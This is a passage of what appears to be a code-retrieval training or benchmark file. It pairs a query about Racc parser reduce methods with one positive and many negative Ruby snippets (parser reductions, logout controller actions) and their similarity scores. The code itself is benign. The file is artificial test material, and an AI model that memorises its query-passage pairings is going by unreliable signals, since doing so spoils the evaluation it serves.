"0.7222519", "text": "def destroy\n log_out\n redirect_to root_url\n end", "title": "" }, { "docid": "f586adacbac673f6a0ed3d61e93ae68d", "score": "0.7222519", "text": "def destroy\n log_out\n redirect_to root_url\n end", "title": "" }, { "docid": "f586adacbac673f6a0ed3d61e93ae68d", "score": "0.7222519", "text": "def destroy\n log_out\n redirect_to root_url\n end", "title": "" }, { "docid": "f586adacbac673f6a0ed3d61e93ae68d", "score": "0.7222519", "text": "def destroy\n log_out\n redirect_to root_url\n end", "title": "" }, { "docid": "f586adacbac673f6a0ed3d61e93ae68d", "score": "0.7222519", "text": "def destroy\n log_out\n redirect_to root_url\n end", "title": "" }, { "docid": "f586adacbac673f6a0ed3d61e93ae68d", "score": "0.7222519", "text": "def destroy\n log_out\n redirect_to root_url\n end", "title": "" }, { "docid": "f586adacbac673f6a0ed3d61e93ae68d", "score": "0.7222519", "text": "def destroy\n log_out\n redirect_to root_url\n end", "title": "" }, { "docid": "f586adacbac673f6a0ed3d61e93ae68d", "score": "0.7222519", "text": "def destroy\n log_out\n redirect_to root_url\n end", "title": "" }, { "docid": "f586adacbac673f6a0ed3d61e93ae68d", "score": "0.7222519", "text": "def destroy\n log_out\n redirect_to root_url\n end", "title": "" }, { "docid": "5ec5e3668aa47ff0d4074239567b58ca", "score": "0.72192734", "text": "def destroy\n log_out if logged_in?\n redirect_to root_path\n end", "title": "" }, { "docid": "5ec5e3668aa47ff0d4074239567b58ca", "score": "0.72192734", "text": "def destroy\n log_out if logged_in?\n redirect_to root_path\n end", "title": "" }, { "docid": "de4186e962bfb6ad899714718cb093cc", "score": "0.72135615", "text": "def destroy\n log_out\n redirect_to root_path\n end", "title": "" }, { "docid": "de4186e962bfb6ad899714718cb093cc", "score": "0.72135615", "text": "def destroy\n log_out\n redirect_to root_path\n end", "title": "" }, { "docid": "de4186e962bfb6ad899714718cb093cc", "score": "0.72135615", "text": "def destroy\n log_out\n redirect_to root_path\n end", "title": "" }, { "docid": "de4186e962bfb6ad899714718cb093cc", "score": "0.72135615", "text": "def destroy\n log_out\n redirect_to root_path\n end", "title": "" }, { "docid": "f761a5e1ac8838593b18691e466110f9", "score": "0.719284", "text": "def logout( )\n\n # parameter TypeCheck\n\n # BIMserver request\n request( { } )\n end", "title": "" }, { "docid": "1e458759ac1c32f7ff803d9de1cd1d45", "score": "0.7184183", "text": "def logout\n log_out\n redirect_to '/user/login'\n end", "title": "" }, { "docid": "b143589853582aefea1898a22cb31488", "score": "0.71799237", "text": "def destroy\n\n # Call the logout method inherited from ApplicationController\n logout!\n\n end", "title": "" }, { "docid": "e5b9c095ab9d1458df68bd681d5dfe6c", "score": "0.71738654", "text": "def logout\n if @logged_in\n params = {\n action: 'logout'\n }\n\n post(params)\n @logged_in = false\n\n true\n else\n false\n end\n end", "title": "" }, { "docid": "b55492c1ff5e4688142c940ff95288be", "score": "0.71709675", "text": "def logout\n response = send_request(command(&:logout))\n\n get_result(response)\n end", "title": "" }, { "docid": "8da00f87c7bf8b7983c3887016a10c17", "score": "0.7163882", "text": "def logout\n clear_token\n end", "title": "" }, { "docid": "26bad8735970571d151c7b692d9f5ca4", "score": "0.71634674", "text": "def destroy\n request.env['warden'].logout\n end", "title": "" }, { "docid": "3572887e0a879e4cd87e14f39a3cc7fe", "score": "0.7163222", "text": "def logout\n clear_session()\n\n respond_to do |format|\n format.html { redirect_to root_url }\n end\n end", "title": "" }, { "docid": "1fb8f589923dc10bbf9ff783a0dfb7e5", "score": "0.71527934", "text": "def destroy\n\t\tlogout\n\t\tredirect_to '/'\n\tend", "title": "" }, { "docid": "ce0c600ece0c7223f25c0553218e1f2f", "score": "0.71520996", "text": "def destroy\n \tcookies.delete(:auth_token)\n session[:user_id] = nil\n respond_to do |format|\n \tformat.json { render json: {:result => 'logged out'} }\n \tformat.html { redirect_to login_url, notice: \"Logged out\" }\n\tend\n end", "title": "" }, { "docid": "ad145ec652e20d8212350f39e24cc987", "score": "0.7149946", "text": "def logout!\n session.clear\n end", "title": "" } ]
45279d6e5be58a4217cf24e594635564
reduce 477 omitted reduce 478 omitted
[ { "docid": "8380df5d298432b48cf17e809650fe5b", "score": "0.0", "text": "def _reduce_479(val, _values, result)\n result = -val[1] # TODO: pt_testcase\n \n result\nend", "title": "" } ]
[ { "docid": "ad801b8250ddef70cf7a067f3e475838", "score": "0.7495632", "text": "def _reduce_496(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "7faaf50c91fb7bfbb28249efb280a691", "score": "0.7454606", "text": "def _reduce_527(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "9c8f6a83bb5a721f7ab83f1cff91f26d", "score": "0.7448273", "text": "def _reduce_712(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "dd458ee5bd7f974c08686357ef463ece", "score": "0.743783", "text": "def _reduce_608(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "0da8d4bc1271fbb8d2119d79e776a4f3", "score": "0.7436569", "text": "def _reduce_603(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "a72ccd2cf9eac3ad24d997538b04c62e", "score": "0.7414025", "text": "def _reduce_605(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "038a4c4f3fb0f7a6a4c2941499127f06", "score": "0.7393099", "text": "def _reduce_464(val, _values, result); end", "title": "" }, { "docid": "2ebe7c326220bd965957f84a4066d291", "score": "0.7363823", "text": "def _reduce_528(val, _values, result); end", "title": "" }, { "docid": "2ebe7c326220bd965957f84a4066d291", "score": "0.7363823", "text": "def _reduce_528(val, _values, result); end", "title": "" }, { "docid": "2d371d47e6fd32b1d9e3c313133ffab4", "score": "0.7350542", "text": "def _reduce_553(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "7a6f344f7a0a328fc14ecffdaad52f78", "score": "0.7346625", "text": "def _reduce_263(val, _values, result); end", "title": "" }, { "docid": "7a6f344f7a0a328fc14ecffdaad52f78", "score": "0.7346625", "text": "def _reduce_263(val, _values, result); end", "title": "" }, { "docid": "1dc62ba338b13c1197034cfd74aaf0d8", "score": "0.73386484", "text": "def _reduce_548(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "7506d0ea1feceb709a1b4e773d074828", "score": "0.7337523", "text": "def _reduce_239(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "a8f6b114cf0c46f8e2a7e869a4ffdefc", "score": "0.7336568", "text": "def _reduce_228(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "a8f6b114cf0c46f8e2a7e869a4ffdefc", "score": "0.7336568", "text": "def _reduce_228(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "4a284296788ba625eeb1e1f152a2c293", "score": "0.73360056", "text": "def _reduce_612(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "cfd9751f38acc4263e65891b003b80f5", "score": "0.73349583", "text": "def _reduce_606(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "3cc28605273a193434fe66db49c1a8c0", "score": "0.7334405", "text": "def _reduce_715(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "deaf219cc6f62c09bc892f1429c0a469", "score": "0.731856", "text": "def _reduce_555(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "aed59eb19c67e2fa5dc045c56711ffd4", "score": "0.7309737", "text": "def _reduce_498(val, _values, result)\n result = nil\n\n result\nend", "title": "" }, { "docid": "3540cbf688cb4d58b67e35aefd5c59a6", "score": "0.73042935", "text": "def _reduce_591(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "5d54341fb90a0c63c354c3d68463fbf9", "score": "0.7302904", "text": "def _reduce_608(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "2d2edbd0888ddc9ddfd8d71942283784", "score": "0.72943705", "text": "def _reduce_576(val, _values, result)\n _, margs, _ = val\n\n result = margs\n\n result\nend", "title": "" }, { "docid": "2d2edbd0888ddc9ddfd8d71942283784", "score": "0.72943705", "text": "def _reduce_576(val, _values, result)\n _, margs, _ = val\n\n result = margs\n\n result\nend", "title": "" }, { "docid": "454d787bf13c93e7ca2a2906d6bd9210", "score": "0.7278787", "text": "def _reduce_606(val, _values, result)\n result = nil\n\n result\nend", "title": "" }, { "docid": "a0251dd6feeebb0cef039e15b5f593b3", "score": "0.727693", "text": "def _reduce_476(val, _values, result); end", "title": "" }, { "docid": "86f675c7646821486a3daf7b01e590ef", "score": "0.7276854", "text": "def _reduce_727(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "3789625266366b21468b3bbaa7c0fbfa", "score": "0.7272955", "text": "def _reduce_363(val, _values, result); end", "title": "" }, { "docid": "d514f4472bb3075df6b6825f317fe4c9", "score": "0.726888", "text": "def _reduce_715(val, _values, result)\n result = nil\n\n result\nend", "title": "" }, { "docid": "1ee81e8f96d6f2fcf025e2a690c9ec1c", "score": "0.7266306", "text": "def _reduce_554(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "169b948628d0193bb922aac733733855", "score": "0.7263178", "text": "def _reduce_556(val, _values, result)\n result = nil\n\n result\nend", "title": "" }, { "docid": "f829ed1adeee60ce44d9a94d9fa3c75b", "score": "0.72585034", "text": "def _reduce_683(val, _values, result)\n _, margs, _ = val\n\n result = margs\n\n result\nend", "title": "" }, { "docid": "50738ee81c1b4bc8f795e29c7bef289b", "score": "0.7255269", "text": "def _reduce_545(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "b5bfaa9ac4f90843659dade49827ba49", "score": "0.7254576", "text": "def _reduce_724(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "be679485721607e48bec95b96dd28f54", "score": "0.7252005", "text": "def _reduce_526(val, _values, result); end", "title": "" }, { "docid": "496ff670ff9e8fd5cfaa24526291fafd", "score": "0.7242799", "text": "def _reduce_69(val, _values, result); end", "title": "" }, { "docid": "9a07920b1e54441703de5f3e24909728", "score": "0.7239068", "text": "def _reduce_544(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "28c143f779974b91f05fd01a9e1ce954", "score": "0.72367483", "text": "def _reduce_47(val, _values, result); end", "title": "" }, { "docid": "275fee0b12794926dca516b2338f132c", "score": "0.72337437", "text": "def _reduce_744(val, _values, result)\n result = nil\n\n result\nend", "title": "" }, { "docid": "dc205f055ed9fc5fbb4faeb2c9861cbd", "score": "0.72313064", "text": "def _reduce_218(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "4e3108f40298e6427d4c42c475a699a4", "score": "0.72300136", "text": "def _reduce_684(val, _values, result); end", "title": "" }, { "docid": "f7615fc3981172dee9afb25c778420c0", "score": "0.7229064", "text": "def _reduce_76(val, _values, result); end", "title": "" }, { "docid": "f7615fc3981172dee9afb25c778420c0", "score": "0.7229064", "text": "def _reduce_76(val, _values, result); end", "title": "" }, { "docid": "c59eb1d11759ec3cd38f981a3c6ca3f7", "score": "0.7223725", "text": "def _reduce_551(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "a51501d811bbbbb261a13e092b08add0", "score": "0.721697", "text": "def _reduce_697(val, _values, result); end", "title": "" }, { "docid": "a0c3b2b168956a69622a374716f57ce3", "score": "0.72107255", "text": "def _reduce_686(val, _values, result); end", "title": "" }, { "docid": "f2339361d0e7049299d375de1c122616", "score": "0.7209538", "text": "def _reduce_596(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "80f75ec105c6ca389d9179dc18f71ab3", "score": "0.72090876", "text": "def _reduce_704(val, _values, result); end", "title": "" }, { "docid": "5acf595fd57cd9f838ebf50ba5aafdb4", "score": "0.72063553", "text": "def _reduce_363(val, _values, result)\n result = val[1]\n \n result\nend", "title": "" }, { "docid": "f92abb9f5cebf666496fb34ef8a504db", "score": "0.71970785", "text": "def _reduce_723(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "ef057406f56e7c344f4e75fce29c9f1f", "score": "0.719591", "text": "def _reduce_591(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "a8706cdc7b74be0615d378fea787974d", "score": "0.7195097", "text": "def _reduce_736(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "24830799f9b93fe1a5390d4ecaf78947", "score": "0.7193165", "text": "def _reduce_634(val, _values, result); end", "title": "" }, { "docid": "eeecc7c3c13821c5645e1dc645c47c94", "score": "0.7189016", "text": "def _reduce_72(val, _values, result); end", "title": "" }, { "docid": "eeecc7c3c13821c5645e1dc645c47c94", "score": "0.7189016", "text": "def _reduce_72(val, _values, result); end", "title": "" }, { "docid": "b8e625b0e9370a6334b22fee7b4371ec", "score": "0.71849924", "text": "def _reduce_411(val, _values, result); end", "title": "" }, { "docid": "c152998e60761b27d22381ab99b6611c", "score": "0.7184004", "text": "def _reduce_13(val, _values, result); end", "title": "" }, { "docid": "fe7e3a49b3bd4457151a4fcecf7d7d96", "score": "0.7180002", "text": "def _reduce_455(val, _values, result); end", "title": "" }, { "docid": "ad9e43254194fecd3f5c09e94bda1f15", "score": "0.7179984", "text": "def _reduce_234(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "790b4d4354ac9d53f470dfdd8b51e093", "score": "0.7177316", "text": "def _reduce_271(val, _values, result); end", "title": "" }, { "docid": "790b4d4354ac9d53f470dfdd8b51e093", "score": "0.7177316", "text": "def _reduce_271(val, _values, result); end", "title": "" }, { "docid": "5f0a0777901574af4951c56958d103f5", "score": "0.71756697", "text": "def _reduce_595(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "d3ce7682b2384e9259701f130fb50dd4", "score": "0.71730554", "text": "def _reduce_603(val, _values, result); end", "title": "" }, { "docid": "d3ce7682b2384e9259701f130fb50dd4", "score": "0.71730554", "text": "def _reduce_603(val, _values, result); end", "title": "" }, { "docid": "7afc64b7a680d652baf123c5336cde54", "score": "0.7164636", "text": "def _reduce_740(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "8d8e4f6fb87d14ea04abb962f0d789c9", "score": "0.7163779", "text": "def _reduce_561(val, _values, result); end", "title": "" }, { "docid": "8d8e4f6fb87d14ea04abb962f0d789c9", "score": "0.7163779", "text": "def _reduce_561(val, _values, result); end", "title": "" }, { "docid": "1d7ae4119f8922c8c47897af299607f9", "score": "0.71614367", "text": "def _reduce_579(val, _values, result)\n _, margs, _ = val\n\n result = margs\n\n result\nend", "title": "" }, { "docid": "1d7ae4119f8922c8c47897af299607f9", "score": "0.71614367", "text": "def _reduce_579(val, _values, result)\n _, margs, _ = val\n\n result = margs\n\n result\nend", "title": "" }, { "docid": "2b4255990d28949e828b892d3062ad04", "score": "0.7153826", "text": "def _reduce_470(val, _values, result); end", "title": "" }, { "docid": "9921fa1c9c79011b5a4e3008b18f9106", "score": "0.71502167", "text": "def _reduce_466(val, _values, result); end", "title": "" }, { "docid": "7550aca19b12781782bd78ecddd16eed", "score": "0.7145223", "text": "def _reduce_549(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "b086f4304a96dff232c27bc9313f9665", "score": "0.714372", "text": "def _reduce_600(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "f3d2756b88979e57d2d31c4aacb09558", "score": "0.71313757", "text": "def _reduce_363(val, _values, result)\n result = val[1]\n\n result\nend", "title": "" }, { "docid": "5ddb13994cf5d44c9a1bb0a276f40945", "score": "0.7131252", "text": "def _reduce_699(val, _values, result); end", "title": "" }, { "docid": "83b3be67e8e0077d57302118cfd8c9a2", "score": "0.7130233", "text": "def _reduce_312(val, _values, result); end", "title": "" }, { "docid": "5cc39135fdc87ea5193894de602a5fcb", "score": "0.7124936", "text": "def _reduce_268(val, _values, result); end", "title": "" }, { "docid": "5cc39135fdc87ea5193894de602a5fcb", "score": "0.7124936", "text": "def _reduce_268(val, _values, result); end", "title": "" }, { "docid": "2ec5d53d178495eece7d34451640b19c", "score": "0.71190065", "text": "def _reduce_736(val, _values, result); end", "title": "" }, { "docid": "6e9661329311086cf3b5a70b515a7539", "score": "0.7117484", "text": "def _reduce_385(val, _values, result); end", "title": "" }, { "docid": "a3bae6955d144ac2907b83ec5a2ad1a2", "score": "0.7109668", "text": "def _reduce_34(val, _values, result); end", "title": "" }, { "docid": "61f930fe3a1a0b9d4ce1cd245c5b5994", "score": "0.7107831", "text": "def _reduce_604(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "a38a3e4a7164e03400dd417e90fd2afc", "score": "0.71072656", "text": "def _reduce_334(val, _values, result); end", "title": "" }, { "docid": "f42f0871365020a7907c484bd630c57b", "score": "0.7107126", "text": "def _reduce_707(val, _values, result); end", "title": "" }, { "docid": "e226507be35fe653fc6f6d89215e1598", "score": "0.7106942", "text": "def _reduce_744(val, _values, result); end", "title": "" }, { "docid": "427e87b52d7a5aaad663035cbdf9d0ed", "score": "0.7106629", "text": "def _reduce_669(val, _values, result); end", "title": "" }, { "docid": "2af2e012bc6510e7bc4ba509c353ed2f", "score": "0.7105244", "text": "def _reduce_369(val, _values, result); end", "title": "" }, { "docid": "2af2e012bc6510e7bc4ba509c353ed2f", "score": "0.7105244", "text": "def _reduce_369(val, _values, result); end", "title": "" }, { "docid": "b54db12f89223bebd2320788e1d7202e", "score": "0.71021074", "text": "def _reduce_602(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "87c8da5d10b0269b8f68958708244aca", "score": "0.7101295", "text": "def _reduce_637(val, _values, result); end", "title": "" }, { "docid": "d4ed0255da24ed28aa1371ffa69456fb", "score": "0.7098054", "text": "def _reduce_552(val, _values, result)\n yyerrok\n\n result\nend", "title": "" }, { "docid": "ad52c8d3d8f1e16859be0250a458e99b", "score": "0.70934165", "text": "def _reduce_375(val, _values, result)\n result = val[0].concat(val[2]).concat(val[3])\n \n result\nend", "title": "" }, { "docid": "8d27c67aaf2d5ed8240176d62152a128", "score": "0.70927024", "text": "def _reduce_336(val, _values, result); end", "title": "" }, { "docid": "8d27c67aaf2d5ed8240176d62152a128", "score": "0.70927024", "text": "def _reduce_336(val, _values, result); end", "title": "" }, { "docid": "9b5f7cb6c7acc381c7e9dca97b441c0d", "score": "0.7091056", "text": "def _reduce_492(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "ff68c95eadea26b56731886bc968cfad", "score": "0.7090152", "text": "def _reduce_277(val, _values, result); end", "title": "" }, { "docid": "ff68c95eadea26b56731886bc968cfad", "score": "0.7090152", "text": "def _reduce_277(val, _values, result); end", "title": "" }, { "docid": "21800ea6886e4567cd4c31f7596a0db7", "score": "0.7088899", "text": "def _reduce_709(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "f1a7b75a0571b37c0d13b70e1b7084b2", "score": "0.7084558", "text": "def _reduce_600(val, _values, result)\n result = nil\n\n result\nend", "title": "" }, { "docid": "f83d566db6fd9d7d959ae8906b1913d6", "score": "0.7083817", "text": "def _reduce_494(val, _values, result)\n yyerrok\n\n result\nend", "title": "" } ]
7701ac0c6327e49433f1fde4d6eee90b
GraphViz expects keys to be symbols, but it's only safe (and user friendly) to have keys as strings in a config file
[ { "docid": "674c89db3929f90a424f418acc1ca809", "score": "0.0", "text": "def symbolize_the_keys(hash)\n\n hash.each_with_object({}) { |(k, v), h| h[k.to_sym] = v.is_a?(Hash) ? symbolize_the_keys(v) : v }\n end", "title": "" } ]
[ { "docid": "1a19829144c02f2bc63a35df6d58f723", "score": "0.57207614", "text": "def setKeyConf(configstr) # see gnuplot set key manual\n # useful keyword: left, right, top, bottom\n # outside, below\n @strm.printf(\"set key %s\\n\",configstr) ;\n end", "title": "" }, { "docid": "b85697337faf9a5512c7b614c9564fb0", "score": "0.5700605", "text": "def ast_string\n \"#{kind}:#{key}\"\n end", "title": "" }, { "docid": "7586ed78650cabf78bec6c2b2a7ef772", "score": "0.5635721", "text": "def keyValueComment\n end", "title": "" }, { "docid": "12c72149a8acb4c3f4d40edee112149a", "score": "0.56134856", "text": "def hinting_key(data, symbols = false)\n full_path = [data['path'], data['key']].flatten.compact\n\n if full_path.empty?\n ret = '/'\n elsif symbols\n ret = unsymbolize(full_path).join('/')\n else\n ret = full_path.join('/')\n end\n\n # if there are special characters, better quote\n # TODO: parser probably doesn't handle correctly \\'??\n ret.index(/[\" ]/) ? ret.inspect : ret\n end", "title": "" }, { "docid": "7a28c51731e2d8adf889f17393a3d5f6", "score": "0.5609683", "text": "def symbolize_keys; end", "title": "" }, { "docid": "91084e5759c39b62813e08868a9825ce", "score": "0.5605544", "text": "def symbolic_key(key)\n @ruby ? \"'#{key}'\" : key\n end", "title": "" }, { "docid": "abedbc2b34599bf8acbb8b27b7453927", "score": "0.5595352", "text": "def special_map\n camelizer_yaml[\"special_keys\"]\n end", "title": "" }, { "docid": "a81ce9f3b5ba4e3356e2be1bca3241e9", "score": "0.55884314", "text": "def accept(visitor)\n visitor.visit_unquoted_key(self)\n end", "title": "" }, { "docid": "c419e4d9e391f1899835b77c2e1f2d4b", "score": "0.5521971", "text": "def get_conf(key);@conf[key.to_sym];end", "title": "" }, { "docid": "51e19b827be9b0fa7d3478864cc73d1f", "score": "0.551299", "text": "def get_fe_config_for_instruction_text(key)\n {\n label: \"#{key} #{extra_kyc_field_instruction_text_suffix}\",\n placeholder: \"\",\n tooltip: \"\",\n inputType: \"rich_text_editor\"\n }.deep_stringify_keys\n end", "title": "" }, { "docid": "e9ddcf1ae851f2660b30bdec30eee85e", "score": "0.5484507", "text": "def symbolize_keys!; end", "title": "" }, { "docid": "e9ddcf1ae851f2660b30bdec30eee85e", "score": "0.5484507", "text": "def symbolize_keys!; end", "title": "" }, { "docid": "3edb5abac89ab1b7e1cd4980b7f301ad", "score": "0.5471547", "text": "def stringify_keys; end", "title": "" }, { "docid": "3edb5abac89ab1b7e1cd4980b7f301ad", "score": "0.5471547", "text": "def stringify_keys; end", "title": "" }, { "docid": "a251bddc02c17058247331c81ebc9c73", "score": "0.54576594", "text": "def symbolize_config_value(key)\n value_str = @config.read(key).to_s\n if !value_str.nil? and !value_str.empty?\n value = value_str.upcase.to_sym\n @config.set(key, value)\n end\n end", "title": "" }, { "docid": "5aa7a159c9515c14eef606b19b4a2a4f", "score": "0.5401315", "text": "def stringify_keys!; end", "title": "" }, { "docid": "5aa7a159c9515c14eef606b19b4a2a4f", "score": "0.5401315", "text": "def stringify_keys!; end", "title": "" }, { "docid": "85c90a30018ae2b930a6a58b7a5209d5", "score": "0.53751975", "text": "def key\n name.to_sym\n end", "title": "" }, { "docid": "b313a869118461554145717c9d77a68d", "score": "0.5370687", "text": "def key_label(name, key) ; key end", "title": "" }, { "docid": "9a91b8d5726ea46e55dd719b1b61da45", "score": "0.53358114", "text": "def visit_symbols(node); end", "title": "" }, { "docid": "0603e7b6d5240c7aa5c2114e25b06465", "score": "0.53350997", "text": "def test_roundtrip_symbols\n\t\tsymbol1 = :\"Batman: The Dark Knight - Why So Serious?!\"\n\t\tresult_symbol1 = YAML.load(symbol1.ya2yaml)\n\t\tassert_equal(symbol1,result_symbol1)\n\n\t\tsymbol2 = :\"Batman: The Dark Knight - \\\"Why So Serious?!\\\"\"\n\t\tresult_symbol2 = YAML.load(symbol2.ya2yaml)\n\t\tassert_equal(symbol2,result_symbol2)\n\n#\t\t# YAML.load problem: the quotes within the symbol are lost here\n#\t\tsymbol3 = :\"\\\"Batman: The Dark Knight - Why So Serious?!\\\"\"\n#\t\tresult_symbol3 = YAML.load(symbol3.ya2yaml)\n#\t\tassert_equal(symbol3,result_symbol3)\n\tend", "title": "" }, { "docid": "9387503f8ca93d6eea7c73e3a69090bc", "score": "0.5293884", "text": "def stringify_keys() self end", "title": "" }, { "docid": "68339e5f4efc88b82494b8b44d464563", "score": "0.5287759", "text": "def create_yaml_repr(the_graph_hash)\n\n nodes_array = Array.new();\n #For each key, create a StateNode object\n #and for each values add visiting nodes to the StateNode object\n the_graph_hash.keys.each{ |key|\n\n temp_state_node = StateNode.new(key);\n nodes_array << temp_state_node;\n the_graph_hash[key].each{ |visiting_node|\n temp_state_node.add_visiting_node(visiting_node);\n } \n }\n dump_file(nodes_array.to_yaml, \"#{ARGV[0].split(\".\")[0].concat(\".yml\")}\");\nend", "title": "" }, { "docid": "289168a99f83bdce4e125298fc1cae58", "score": "0.5279969", "text": "def bnf_key=(value); @bnf_key = value; end", "title": "" }, { "docid": "315dffcf0a995e5dd1e220dbd20a1cfa", "score": "0.5267956", "text": "def property(*symbols)\n symbols.each do |symbol|\n property_cfg(symbol, :type => :yaml)\n end\n end", "title": "" }, { "docid": "48749a925af5bfab02c51124cbb7e55f", "score": "0.52408725", "text": "def config_key=( sym )\n\t\tConfigurability.configurable_objects |= [ self ]\n\t\t@config_key = Configurability.normalize_config_key( sym )\n\tend", "title": "" }, { "docid": "a2828aedececfbe120f37d23dd1e6435", "score": "0.5230426", "text": "def flot_encode_symbol_options(options)\n parts = []\n options.each do |k, v|\n val = v.is_a?(Symbol) ? v.to_s : flot_encode_symbol_options(v)\n parts << %@\"#{k}\":#{val}@\n end\n \"{#{parts.join ','}}\"\n end", "title": "" }, { "docid": "3e3bb18b179a85dffa3aab230d524768", "score": "0.52285963", "text": "def cytoscape_schema\n {\n :nodes => [\n {:name => \"label\", :type => \"string\"},\n {:name => \"element_type\", :type => \"string\"},\n {:name => \"tooltiptext\", :type => \"string\"},\n {:name => \"weight\", :type => \"number\"},\n {:name => \"depth\", :type => \"number\"},\n {:name => \"mass\", :type => \"long\"}\n ],\n :edges => [\n {:name => \"label\", :type => \"string\"},\n {:name => \"element_type\", :type => \"string\"},\n {:name => \"tooltiptext\", :type => \"string\"},\n {:name => \"weight\", :type => \"long\"},\n {:name => \"directed\", :type => \"boolean\", :defValue => true}\n ]\n }\n end", "title": "" }, { "docid": "c7e20d3387cc1c52d41b0b0537f21010", "score": "0.52281266", "text": "def visit_label(node)\n s(\n :sym,\n [node.value.chomp(\":\").to_sym],\n smap_collection_bare(srange(node.start_char, node.end_char - 1))\n )\n end", "title": "" }, { "docid": "82b19eda0a481b4d119c8fc8248b50f6", "score": "0.52197707", "text": "def config_key\n self.to_s.underscore.to_sym\n end", "title": "" }, { "docid": "3977d8727beed21239014194ae74c27c", "score": "0.52134037", "text": "def test_roundtrip_symbols\n symbol1 = :\"Batman: The Dark Knight - Why So Serious?!\"\n result_symbol1 = YAML.load(symbol1.ya2yaml)\n assert_equal(symbol1, result_symbol1)\n\n symbol2 = :\"Batman: The Dark Knight - \\\"Why So Serious?!\\\"\"\n result_symbol2 = YAML.load(symbol2.ya2yaml)\n assert_equal(symbol2, result_symbol2)\n\n#\t\t# YAML.load problem: the quotes within the symbol are lost here\n#\t\tsymbol3 = :\"\\\"Batman: The Dark Knight - Why So Serious?!\\\"\"\n#\t\tresult_symbol3 = YAML.load(symbol3.ya2yaml)\n#\t\tassert_equal(symbol3, result_symbol3)\n end", "title": "" }, { "docid": "16f29cdfd4100a9bf5dc36a4175edf4b", "score": "0.5209396", "text": "def clean_strings_via_symbolizing!(node)\n %i(type node_type).each do |key|\n node[key] = node[key].to_sym if node.key?(key)\n end\n end", "title": "" }, { "docid": "c2b1e46d1e11f449004fd08a5f3061ec", "score": "0.52057886", "text": "def symbolize_hash(hash)\n eval(hash.to_s.gsub(/\\\"(\\w+)\\\"(?==>)/, ':\\1'))\n end", "title": "" }, { "docid": "1a665aa3cfa55b49aa45728d54487bd6", "score": "0.5191864", "text": "def visit_symbol_literal(node); end", "title": "" }, { "docid": "98fe2125a561724374732beddbeea7b5", "score": "0.5179674", "text": "def config_for(key, val)\n case val\n when TrueClass, FalseClass then key.to_s.tr('_', '-') if val\n when String, Integer then \"#{key.to_s.tr('_', '-')}=#{val}\"\n when Array then val.map { |v| config_for(key, v) }.join(\"\\n\")\n when Hash then config_for(key, val.keys.select { |k| val[k] })\n else raise(Exceptions::ValidationFailed,\n \"Invalid: '#{key}' => '#{val}'\")\n end\n end", "title": "" }, { "docid": "51c89a916b5c9f0226817f1cb9112acc", "score": "0.51786286", "text": "def label\n key.to_s\n end", "title": "" }, { "docid": "f2b8f574eef8547ceba8adf07e93a156", "score": "0.51739717", "text": "def config_file\n if File.exists?(config_file_path)\n hash = YAML.load_file(config_file_path)\n else\n hash = {}\n end\n convert_string_keys_to_symbols hash\n end", "title": "" }, { "docid": "c2a5b45793a2e99123ce44f1669c67ee", "score": "0.51566523", "text": "def order_of_keys\n\n %w(\n CVE\n yaml_instructions\n curated_instructions\n curation_level\n reported_instructions\n reported\n announced_instructions\n announced\n published_instructions\n published\n description_instructions\n description\n bounty_instructions\n bounty\n reviews\n bugs\n repo\n fixes_vcc_instructions\n fixes\n vccs\n upvotes_instructions\n upvotes\n unit_tested\n discovered\n autodiscoverable\n specification\n subsystem\n interesting_commits\n i18n\n ipc\n lessons\n mistakes\n CWE_instructions\n CWE\n CWE_note\n nickname_instructions\n nickname\n )\nend", "title": "" }, { "docid": "aaf0dec69668d9082093ec79c4b4bb33", "score": "0.5145719", "text": "def format_key\n :format_main_ssim\n end", "title": "" }, { "docid": "5e125d202143b45c5f4a5324bdc9f34b", "score": "0.5138347", "text": "def format_key(string)\n string.gsub(/[~=:;+-_.]/, '')\nend", "title": "" }, { "docid": "3e96b5b0810b1ac5008575fd9f0a8978", "score": "0.51350325", "text": "def display(data)\n data = Hashie.stringify_keys(data)\n display = YAML.dump(data).sub(/\\A---\\n/, \"\").gsub(/^/, \" \")\n end", "title": "" }, { "docid": "1416cd03b416d8a1052c94e1d10b3713", "score": "0.5125736", "text": "def SymbolsBeg(value); end", "title": "" }, { "docid": 